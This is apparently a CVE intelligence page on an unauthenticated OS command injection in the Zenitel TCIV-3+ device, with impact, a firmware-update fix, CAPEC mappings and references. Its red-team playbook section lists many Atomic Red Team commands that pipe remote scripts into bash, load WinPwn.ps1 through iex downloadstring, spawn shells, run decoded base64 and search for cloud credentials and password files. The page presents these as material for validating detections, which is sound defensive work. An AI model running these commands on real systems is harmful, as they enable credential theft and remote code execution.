CVE-2025-64127
Overview
This vulnerability is an OS command injection rooted in improper sanitization of user input within the Zenitel TCIV-3+ device. The affected component processes user-supplied parameters that are directly incorporated into operating system commands without adequate validation or filtering. This insecure handling of input enables injection of arbitrary commands at the OS level.
Vulnerability Description
An OS command injection vulnerability exists due to insufficient sanitization of user-supplied input. The application accepts parameters that are later incorporated into OS commands without adequate validation. This could allow an unauthenticated attacker to execute arbitrary commands remotely.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary OS commands with elevated privileges on the Zenitel TCIV-3+ device. This enables full system compromise, including data manipulation, disruption of device functionality, or pivoting within the network. The attack requires only network access to the device and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Such exploitation can result in operational downtime or unauthorized control of critical communication infrastructure.
Solution
Zenitel has released updated firmware packages addressing this command injection vulnerability, available through their official downloads portal (https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29). Users should upgrade the TCIV-3+ device firmware to the latest version as specified in the ICS-CERT advisory ICSA-25-329-03. The advisory provides detailed patching instructions and recommends immediate application of the update to mitigate exploitation risks.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The identified vulnerability arises from a critical flaw in the way user-supplied input is handled within an application. Specifically, it stems from insufficient sanitization of input parameters, which are subsequently incorporated into operating system commands. This lack of validation creates a pathway for attackers to inject malicious commands that the system would execute as if they were legitimate. The severity of this vulnerability is underscored by its potential to allow unauthenticated users to execute arbitrary commands remotely, thereby gaining unauthorized access to system resources and sensitive data.
Attack vectors for this vulnerability are diverse and can be exploited through various means. An attacker could leverage web forms, API endpoints, or any interface that accepts user input to inject malicious commands. For instance, if an application allows users to submit a filename for processing, an attacker might input a command that not only specifies a filename but also includes additional commands to be executed by the operating system. This could lead to a range of malicious activities, including data exfiltration, system compromise, or even the installation of malware. The simplicity of exploiting this vulnerability, combined with the potential for significant damage, makes it particularly concerning for organizations.
The real-world impact of such a vulnerability can be profound, posing substantial business risks. Organizations could face data breaches, loss of intellectual property, and damage to their reputation. The financial implications can also be severe, with costs associated with incident response, legal liabilities, and regulatory fines. Furthermore, the exploitation of this vulnerability could lead to operational disruptions, as attackers may disable critical systems or services. The potential for widespread damage underscores the necessity for organizations to prioritize the identification and remediation of such vulnerabilities.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify areas where user input is inadequately validated. Employing input validation techniques, such as whitelisting acceptable input formats and escaping special characters, is crucial in preventing command injection. Additionally, implementing robust logging and monitoring can aid in the early detection of suspicious activities that may indicate exploitation attempts. Organizations should also prioritize security awareness training for developers, emphasizing secure coding practices to minimize the risk of introducing similar vulnerabilities in the future.
In conclusion, the presence of an OS command injection vulnerability due to insufficient input sanitization poses a significant threat to the integrity and security of systems. The ease of exploitation and the potential for severe consequences necessitate immediate attention from organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their assets and maintain trust with their stakeholders. The ongoing commitment to security best practices will be essential in navigating the evolving threat landscape and protecting against such critical vulnerabilities.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-64127 |
| wiki.zenitel.com |
GitHub CVE
|
https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-03 |
| github.com |
GitHub CVE
|
https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-03.json |